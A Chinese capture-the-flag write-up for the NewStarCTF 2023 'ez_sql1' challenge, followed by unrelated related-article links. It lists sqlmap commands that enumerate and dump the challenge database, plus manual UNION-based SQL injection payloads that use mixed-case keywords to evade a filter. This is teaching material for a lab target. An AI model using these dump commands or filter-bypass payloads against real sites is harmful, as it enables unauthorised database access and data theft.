当前位置: 首页 > news >正文

[NewStarCTF 2023 公开赛道]ez_sql1 【sqlmap使用/大小写绕过】

题目:

发现id处可以sql注入:

虽然输入id=1';show databases;#没什么回显,但是知道这里是字符型注入了

这次利用sqlmap注入

--dbs:列出所有数据库名字
python .\sqlmap.py -u 'http://a40b2f0a-823f-4c99-b43c-08b94ed0abb2.node5.buuoj.cn:81/?id=1' --dbs

--current-db:当前数据库
python .\sqlmap.py -u 'http://a40b2f0a-823f-4c99-b43c-08b94ed0abb2.node5.buuoj.cn:81/?id=1' --current-db

显示表名
python .\sqlmap.py -u 'http://a40b2f0a-823f-4c99-b43c-08b94ed0abb2.node5.buuoj.cn:81/?id=1' -D 'ctf' --tables

--dump:显示文段内容
python .\sqlmap.py -u 'http://a40b2f0a-823f-4c99-b43c-08b94ed0abb2.node5.buuoj.cn:81/?id=1' -D 'ctf' -T 'here_is_flag' --dump

 其他手动SQL注入方法

利用大小写绕过

/?id=1' Order by 5 --+
/?id=1' Union SELect 1,version(),user(),database(),5  --+

?id=' uNion Select 1,2,3,4,GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA= 'ctf'--+
?id=0' uNion Select 1,2,3,4,flag FROM ctf.here_is_flag--+

相关文章:

  • 万字技术指南STM32F103C8T6 + ESP8266-01 连接 OneNet 平台 MQTT/HTTP
  • Hexo博客Icarus主题不蒜子 UV、PV 统计数据初始化配置
  • (done) MIT6.S081 Lec15 Crash recovery 学习笔记
  • tcp/ip协议配置参数有哪些?tcp/ip协议需要设置的参数有哪些
  • JAVA面试_进阶部分_深入理解socket网络异常
  • 每日一题----------String 和StringBuffer和StringBuiler重点
  • STM32步进电机驱动全解析(上) | 零基础入门STM32第五十七步
  • WLAN(无线局域网)安全
  • Java网络爬虫工程
  • Docker基础之运行原理
  • 【Redis】持久化(RDB和AOF)和事务
  • Go 语言编程全解析:Web 微服务与数据库十大专题深度精讲
  • Electron使用WebAssembly实现CRC-32 常用标准校验
  • Java 大视界 -- Java 大数据机器学习模型的在线评估与持续优化(123)
  • leetcode 78. 子集(二进制枚举详解)c++
  • ubuntu 部署deepseek
  • 【Go万字洗髓经】Golang内存模型与内存分配管理
  • 【如何优化前端的网络请求?】
  • eclipse创建maven web项目
  • Spring学习笔记:工厂模式与反射机制实现解耦
  • 深圳横岗网站建设/厦门seo网站管理
  • 政府网站信息化建设调查表/潍坊关键词优化排名
  • html5移动网站开发实例/怎么做好网络营销
  • 网站建设网站定制/百度手机助手官网